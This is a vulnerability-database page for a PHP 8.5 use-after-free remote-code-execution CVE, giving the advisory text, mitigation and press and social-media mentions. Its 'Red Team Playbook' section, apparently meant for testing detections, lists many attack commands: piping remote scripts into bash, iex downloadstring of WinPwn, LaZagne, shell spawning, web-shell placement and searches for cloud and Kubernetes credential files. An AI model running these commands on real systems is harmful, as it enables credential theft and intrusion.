CVE-2026-129474
Overview
This vulnerability is a use-after-free condition occurring within PHP's magic method backtrace handling, specifically when collecting arguments for __call() or __callStatic() during error backtraces. The root cause is stale memory references due to freed memory being accessed when fatal errors trigger backtrace generation with certain configuration settings. The affected component is the PHP interpreter's internal backtrace mechanism related to method call argument collection.
Vulnerability Description
Use-after-free in magic method backtraces can lead to remote code execution. When collecting the arguments of a method call handled by __call() or __callStatic() for a backtrace, PHP can read stale values that may refer to freed memory. If a fatal error such as exceeding memory_limit occurs while an application enters such a call, with fatal_error_backtraces enabled (the default) and zend.exception_ignore_args disabled, a remote attacker who controls enough request data to influence memory allocation may cause memory corruption, crash the PHP worker or, with knowledge of memory addresses, execute arbitrary code. php.ini-production enables zend.exception_ignore_args, which prevents this. This issue affects PHP versions 8.5.* before 8.5.13.
Impact
An unauthenticated remote attacker can exploit this vulnerability to cause memory corruption, leading to PHP worker crashes or, with precise knowledge of memory layout, execute arbitrary code on the server. This enables full system compromise or denial of service without requiring user interaction or authentication. The attacker must be able to control request data sufficiently to influence memory allocation and trigger fatal errors during vulnerable method calls, potentially impacting web applications running affected PHP versions.
Solution
Apply the official PHP security update to version 8.5.13 or later as detailed in the PHP Group advisory at https://github.com/php/php-src/security/advisories/GHSA-8mjj-2r7p-4hg2. Alternatively, ensure zend.exception_ignore_args is enabled in php.ini to mitigate the issue. Follow the vendor's instructions precisely to update the PHP interpreter and verify configuration settings to prevent exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (37)
37 mentions from 27 sources in the last 7 days BuzzFactor 97 / 100
-
social bsky.app @stackwatch.de 2026-11-20 19:42 UTCLage 20.11. Keine neue Critical. PHP-Release (CVE-2026-129474) gefixt: 8.6.0, 8.5.13, 8.4.28. Offen: MySQL CVE-2026-114952 (CVSS 9.1), Fix nicht belegt. Prüfen: php -v, SELECT VERSION(); stackwatch.de/lageOpen source
-
social bsky.app @buherator.bsky.social 2026-11-20 13:37 UTCUse-after-free in magic method backtraces can lead to remote code execution (CVE-2026-129474) github.com -> Use-after-free via repopulation of last_fatal_error_backtrace global after shutdown (CVE-2026-129182) github.com -> #PHP Original->Open source
-
social bsky.app @cvemon.bsky.social 2026-11-20 13:07 UTCCVE-2026-129474 is trending. Hype score 19, currently #3 on cvemon. Use-after-free in magic method backtraces can lead to remote code execution. When collecting the arguments of a method call handled by __call() or __callStatic() for a bac…Open source
-
code github.com LLCForge 2026-11-20 11:25 UTCLLCForge/CVE-2026-129474Open source
-
social bsky.app @stackwatch.de 2026-11-20 10:35 UTCPHP CVE-2026-129474: betrifft 8.5.0 bis 8.5.12, laut Advisory bis zu RCE (CVSS 4.0 9.2). Fix: 8.5.13 oder 8.6.0. Bis dahin laut Advisory: zend.exception_ignore_args=1 für die Worker, neu starten. Quelle: github.com/php/php-src/security/adv…Open source
-
news techzine.eu 2026-11-20 10:32 UTCPHP security updates fix 18 vulnerabilities - Techzine GlobalOpen source
-
social infosec.exchange @116769913619325742 2026-11-20 05:17 UTCCVE-2026-129538 and CVE-2026-129474: The PHP Group released fixes for two flaws. No in-the-wild exploitation is confirmed. CVE-2026-129538, a PHP-CGI out-of-bounds read and write, affects versions before 8.2.36, 8.3.37, 8.4.28 and 8.5.13.…Open source
-
social bsky.app @suriq.io 2026-11-20 05:17 UTCCVE-2026-129538 and CVE-2026-129474: The PHP Group fixed a PHP-CGI out-of-bounds read and write and a use-after-free in PHP 8.5 that can lead to remote code execution. No exploitation confirmed. Update to PHP 8.5.13, 8.4.28, 8.3.37 or 8.2.…Open source
-
social bsky.app @samunohito.mi.osamu-storage.info.ap.brid.gy 2026-11-20 03:55 UTC結構タイムラグあるなあこのbot…Open source
-
news hkcert.org 2026-11-20 02:39 UTCPHP Multiple Vulnerabilities - Hong Kong Computer Emergency Response Team Coordination CentreOpen source
-
social bsky.app @infosec.skyfleet.blue 2026-11-20 01:41 UTCRe: Upcoming Critical PHP Security ReleaseOpen source
-
news rescana.com 2026-11-19 23:15 UTCPHP 8.5.13, 8.4.28, 8.3.37 and 8.2.36 Fix 17 Flaws; PHP 8.6.0 Ships: Patch Now - RescanaOpen source
-
social bsky.app @stackwatch.de 2026-11-19 21:53 UTCLage 19.11. nginx: 10 Lücken gefixt (u.a. CVE-2026-123634), Fix 1.30.7 / 1.31.9. PHP: Release mit Stufe CRITICAL (CVE-2026-129474), Fix 8.6.0 / 8.5.13 / 8.4.28. Offen: MySQL CVE-2026-114952, Fix nicht belegt. Prüfen: nginx -v, php -v. stac…Open source
-
advisory wiz.io 2026-11-19 21:46 UTCphpAfterShell and Critical PHP RCE Vulnerabilities: Everything You Need To Know - wiz.ioOpen source
-
news ox.security 2026-11-19 21:43 UTCThe 2026 Vulnpocalypse Hits PHP: Four Critical RCEs, but How Dangerous Are They? - OX SecurityOpen source
-
news darkreading.com 2026-11-19 21:37 UTCCritical PHP Flaws Allow Code Execution, But Don't Panic 'PHP2Shell'-Style - Dark ReadingOpen source
-
news blog.checkpoint.com 2026-11-19 19:12 UTCNew PHP Vulnerabilities: What Organizations Need to Know and How Check Point Customers Are Protected - Check Point BlogOpen source
-
news mlq.ai 2026-11-19 19:08 UTCPHP patches 18 flaws across all supported versions, including seven critical bugs that can allow remote code execution - MLQ.aiOpen source
-
news shiftdelete.net 2026-11-19 16:56 UTCPHP 8.5.13, 8.4.28, 8.3.37, 8.2.36 Fix Critical Security Bugs - ShiftDelete.NetOpen source
-
social bsky.app @stackflag.bsky.social 2026-11-19 16:30 UTCCVE-2026-129474 - php PHP versions 8.5 up to 8.5.12 may let a remote attacker cause the server to crash or run their own code if they send specially crafted requests. This happens when PHP tries to collect… Too many irrelevant or confusing…Open source
-
news bleepingcomputer.com 2026-11-19 16:28 UTCPHP security updates fix 18 flaws, including critical RCE bugs - BleepingComputerOpen source
-
code gist.github.com yusuke-fujioka 2026-11-19 16:16 UTC#!/bin/bash # PHP 2026-11-19 セキュリティリリース 設定チェック(読み取り専用) # 対応環境: cPanel(ea-php) / CloudLinux(alt-php) / Plesk / Ubuntu標準PHP-FPM を自動検出 # 使い方: bash php-check-20261119.sh 通常チェック # bash php-check-20261119.sh --scan-home ユーザー領域の .user.ini 等も走査(時間…Open source
-
news demokratis.co.id 2026-11-19 16:13 UTCPHP Patches Critical Flaws That Enable Remote Code Execution - Demokratis.co.idOpen source
-
social bsky.app @entorisec.bsky.social 2026-11-19 16:06 UTCPHP released 8.5.13, 8.4.28, 8.3.37 and 8.2.36, fixing seven critical flaws, per SecurityWeek. Two are unauthenticated: CVE-2026-129474 (RCE on PHP 8.5) and CVE-2026-129289 (PHP-FPM request smuggling). Several are incomplete PHP2Shell fixe…Open source
-
social bsky.app @cdn0x12.scg.owu.one 2026-11-19 16:05 UTC#CDN的收藏夹 FW: bupt.moe - Telegram #security PHP 大型更新,请大家及时更新到 8.5.13 节选了一些比较重要的安全事项 CVE-2026-129474 RCE 缓解措施: `zend.exception_ignore_args=1` 以及 `fatal_error_backtraces=0` CVE-2026-129182 RCE 缓解措施: `fatal_error_backtraces=0` CVE-2026-129538…Open source
-
news securityweek.com 2026-11-19 15:54 UTCPHP Patches Seven Critical RCE Vulnerabilities - SecurityWeekOpen source
-
news cybernews.com 2026-11-19 15:49 UTCPHP plagued by critical RCE vulnerabilities again as security patches released for all branches - CybernewsOpen source
-
news infosecurity-magazine.com 2026-11-19 15:28 UTCPHP Releases Patches to Fix 18 Vulnerabilities - Infosecurity MagazineOpen source
-
social bsky.app @hmier.bsky.social 2026-11-19 15:18 UTCPHP Fixed GHSA-8mjj-2r7p-4hg2 (Use-after-free in magic method backtraces can lead to remote code execution). (CVE-2026-129474) Fixed GHSA-2fjv-p558-g82m (Use-after-free via repopulation of last_fatal_error_backtrace global after shutdown).…Open source
-
social mastox.eu @116996372580318764 2026-11-19 15:16 UTCPHP 8.5.13 has finally been released today on November 19, fixes 13 (yes 13) security vulnerabilities including several RCE (remote code execution) ones. The memory corruption fixes include use-after-free bugs in magic method backtraces an…Open source
-
news thehackernews.com 2026-11-19 15:13 UTCPHP Fixes 7 Critical Flaws, Including Bugs That Could Allow Remote Code Execution - The Hacker NewsOpen source
-
social mastox.eu @116996372580318764 2026-11-19 15:13 UTCPHP 8.5.13 has finally been released November 19, fixes 13 (yes 13) security vulnerabilities including several RCE (remote code execution) ones. The memory corruption fixes include use-after-free bugs in magic method backtraces and time zo…Open source
-
social infosec.exchange @117202824925377048 2026-11-19 14:51 UTCPHP security releases are out: https://www. php.net/archive/2026.php#2026- 11-19-4 Core has two use-after-frees, CVE-2026-129474 and CVE-2026-129182 that are 9.2 critical Date has a use-after-free CVE-2026-129496 at 9.2 critical FPM has re…Open source
-
news cybersecuritynews.com 2026-11-19 14:47 UTCPHP Warns of Critical Security Flaws Affecting All Supported Versions, Urges Users to Update - CyberSecurityNewsOpen source
-
social infosec.exchange @116810780845358081 2026-11-19 14:36 UTC🚨 BREAKING: PHP HAS PATCHED 13 SECURITY VULNERABILITIES, INCLUDING MULTIPLE FLAWS THAT COULD LEAD TO REMOTE CODE EXECUTION. PHP 8.5.13, released on November 19, fixes serious memory corruption vulnerabilities, including use-after-free bugs…Open source
-
social mastox.eu @116996372580318764 2026-11-19 14:28 UTC🚨 BREAKING: PHP HAS PATCHED 13 SECURITY VULNERABILITIES, INCLUDING MULTIPLE FLAWS THAT COULD LEAD TO REMOTE CODE EXECUTION. PHP 8.5.13, released on November 19, fixes serious memory corruption vulnerabilities, including use-after-free bugs…Open source
-
news blog.checkpoint.com 2026-11-19 12:12 UTCNew PHP Vulnerabilities: What Organizations Need to Know and How Check Point Customers Are Protected - Check Point BlogOpen source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-129474 |
| github.com |
GitHub CVE
vendor-advisory
|
https://github.com/php/php-src/security/advisories/GHSA-8mjj-2r7p-4hg2 |